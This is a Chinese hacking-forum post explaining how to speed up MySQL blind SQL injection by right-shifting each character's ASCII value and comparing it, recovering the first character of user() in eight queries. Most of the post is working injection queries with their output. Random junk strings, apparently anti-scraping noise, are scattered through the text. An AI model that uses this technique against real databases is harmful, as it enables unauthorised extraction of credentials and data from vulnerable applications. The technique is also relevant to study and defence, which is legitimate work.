找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2521|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
! A# r' W( i8 n' x; J2 F% j
) Z. N  n1 `' ~! I+ p, Q) ^
0 S1 f) U2 A2 z( L/ B0 }) ~& F  ^- R4 }6 B9 C+ j& Z' x1 Q6 ~' m
下面将以查询mysql数据库当中user()的第一位为例:/ D9 J; K5 c' W* v$ U- _7 C

8 V9 x; X# L" P7 @4 u' b
" w, b; n# K# w. Y- g/ @5 O
# Q* Z! w5 @( z2 |- d& hps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)" m% ^; {' H) w
* f0 I% W! K! Y: y

& B( Q" v  N; ~9 q4 ^! B5 [& m$ c0 M' f. b: _) B
首先执行如下sql语句:
( ?8 Q! V8 `$ X- r8 J4 C6 y$ J/ F" V2 ?+ H' B' b
% s: R3 ?1 U5 c$ p, d

: t0 D4 v( |# V0 q( q, U1 `" g5 Rmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
; }5 W5 |" L- Z; n$ b/ W, W$ ^$ w
% Z% T, D, L) E3 K' X

+ e6 p, O. U* D5 e; J9 G7 q7 \- @/ V我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
1 x; ~0 o* _. ~( C% q8 e9 e' |# _( j# q- V; u+ S' ?. @3 Y1 _8 r
/ K; w# W  v& a' X# X' G

- U& p' v7 x# a3 H第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1* V6 z/ ~3 s' Z" e" @4 a
* Z& c+ X! k4 D* S- `  d0 {

$ [- S1 v9 b% h) j0 X4 G1 J! }: ?: S  Q5 S5 B$ @
如果运算结果为1,说明第一位为0,不为1
, W1 M# a& C# t, w  A# P- c3 ~7 B" ]6 h2 U  }" s3 Y
& e  v: n, `  r5 |" e* g( n

" {7 `% ~- l, O+————————————–+( P. B# v/ o/ A0 K8 C
/ k5 D3 L; O" ^: H
| (ascii((substr(user(),1,1))) >> 7)=0 |
, ]9 Q  i7 F0 |4 L* F
2 }% m9 x3 o; `* R. w3 @3 O- g7 a1 ^+————————————–+
: j9 Y! b+ D6 v, g* |* h
  y* O# b( ?) Q| 1 |; G8 J7 k- |$ f% p8 i

) g+ V0 g9 e! G% r) W: r+————————————–+
' P* P: e) o3 s8 E
& M: P% W; f/ u$ e4 n2 r1 row in set (0.00 sec)
8 d+ g" `5 |5 H- s- B! T6 G. t
4 J0 H  F; C) v2 `) V这样我们就确定这个8bit的ascii的第一位为0" |- C- |; D/ v8 x
. C. L- V, @. U: p- A

# x/ v( Z3 a, p1 o
5 q1 n+ U; f/ a, s' {0 y+ n$ }第二次我们来做6次右偏移来确定前两位- v3 B  G; @6 q' `3 v* E7 _3 R

7 h9 C1 t; G! t; k7 l 7 Z6 J3 f/ N: h

% W3 T  K8 ~" I9 \% C9 x前两位可能是01或00,即依然可以与0做比较,
& S. h& _! t, a) v9 V# _
: Y6 P9 Q( D$ i. f0 t2 u; e8 Mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;+ W5 ?6 h) k' O" R4 n8 N* V4 ?

* x( H, d: m4 g' w4 ~  m5 y" o+————————————–+
0 N: d1 Z# S& c0 c6 Y, w2 `
- k$ ?4 ]3 t8 K% M# `| (ascii((substr(user(),1,1))) >> 6)=0 |
2 x& S- j7 B0 f% I' m6 F* ^5 L3 ]+ [7 a. l' o! x% y3 V
+————————————–+- n) e& c2 M: M& D+ s& {6 ?1 k

8 ?' j+ K+ s7 y( g7 l| 0 |
5 M! t& b: X: W
0 D7 I. |3 @& L3 v9 F3 }+————————————–+/ a* F3 L% M. }9 |! l3 b
$ d2 J4 g9 l- L1 U1 d# R
1 row in set (0.00 sec)4 N) \6 R' b# }9 y9 T7 N& @" Z5 _8 u; T
* `! o2 ~0 ~4 d1 X/ X+ a6 `

8 \5 E0 S2 c6 q. `4 D
7 f5 ]8 t. W8 c9 D- R结果为0,即第二位为1
- p2 u8 N: J" \
. S7 ~6 L  f' G" [* O; ?5 I! g, H ; d# f0 b& [& D
4 ~0 j7 o# O, r. _4 F7 g6 Q' J
开始猜测前三位为010或011  a, Q/ n4 T1 V  o+ d/ C* P
7 G- D  U& s! F& ~) F4 u: ]. b

- B/ q1 l8 @  b6 n, O7 I
/ T# T$ }- E7 ^& V* J+ Y! g3 h让我们看看010和011的ascii码是多少
. E* k8 N4 H4 S  w! c
, H5 @5 t: n/ j- W* Y & Z& g3 h9 @0 t6 S- \1 \" |
& \# b! f. @) j
分别查询select b’011′ select b’010′
0 F7 ?- Y5 |* q, Z! I" P
2 s/ R2 D5 A- o( Z3 F
# \, l" a' O2 Z7 j9 i% w6 F- U6 z. r, _& X
获得结果 010 = 2 011 = 34 k2 A; K& H! {. @4 }3 B" o

; h4 C: I, X4 k' P. P
/ X9 C) w6 m1 Z" ^, n( M
, {/ x( P( F, p, G, L# i执行如下sql:: P0 X1 k* q6 G: ?

$ G% i! G( h1 @3 ~1 H 3 U. _# m; F; O) ^

" h) ~% h/ n, @- Y& ]) Mmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
1 y) p" U  |/ d- E6 d" M- `5 z- p
3 R5 V! N' b, ]  V6 Y& j7 X+————————————–+
- |: _6 \8 p, `9 w5 [% {' g1 r1 i) P: X4 m
| (ascii((substr(user(),1,1))) >> 5)=2 |
4 A7 O2 l* d: i' L6 z2 g+ X+ L( w% m' {2 F# q
+————————————–+
' L/ \! t$ e) \6 z3 _" W8 @$ y! ], H; N; p9 _, v
| 0 |
: `8 m; t+ e/ I4 [
5 p; ^. s' |1 G+————————————–+
7 N& i$ Z6 F6 k& z% [
6 }. G4 h& T1 u; N; m即前三位不为010,而是011% D5 c6 }  s5 L9 x3 ]% U

/ ^; [& z$ v" K7 a. h
, `% p6 _/ }$ u' n9 }' L+ V
6 n) l& U- a5 d! [) ^( ]% m* f直到获得最后一位
, }8 W9 |5 \" {3 W1 B
7 G8 i) [+ C8 U- D
) a1 S  Z/ ]% M' l& M( b; d9 R, k1 X9 V* V0 @4 m! W
最终结果为:01110010+ K1 ?! S% N( ~& B6 u( ]

( V- y$ ~  ?+ D8 ?
5 n! H$ ]5 V; C& H9 j5 {8 J$ W! @3 b( h' H5 |
转换一下:) t4 H, v8 k! A
* L5 Z4 F! {! W. V, m
2 C1 Z' @* X( u
. N. z, I. R' y' j
select b’01110010′0 r- b1 H9 v/ M+ l7 f( ]
& C- j5 N& `" A& F9 c& l; K% k

9 @6 W5 ?+ _1 |  r; @4 c2 H
- o7 d+ X8 J  w$ T/ B查询结果
, E# }; I6 w# _8 {
* |# O9 D- E3 c9 E2 E8 ]
* k' J7 g0 e0 g0 O( T# M7 m$ t! ?+ h2 O4 b  K1 `6 r2 q
+————-+5 V; N' C& r7 A# x. q8 W- N  y2 ^. p
7 ]2 b9 T* k4 i& D
| b’01110010′ |
9 B) h( Q( Y3 F; w* V7 e. n
4 O7 U8 `9 m8 \+————-+# k/ t+ I7 V) w& O8 \) Z( g. h
& p3 Z) S; l0 t2 Q& w. I
| r |* a6 i# b+ ?5 m' ~. q8 M
* Z8 B# |& R; A, X6 r
+————-+
  ~1 o4 T3 L1 g$ ]7 _- \5 L6 ~
" H' m* t2 d2 ^1 row in set (0.00 sec)
/ C. D1 f* u2 J( D8 d4 ^
! z7 Q  K" K- o 1 I# Q6 L# Y0 `  [9 z: I6 W
. K" N! ]+ V: i
这样我们就获得了user()的第一位.其它位依此类推. M2 x  l+ u$ h4 Z' ^* q
0 x7 \2 c0 I- z% h! t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表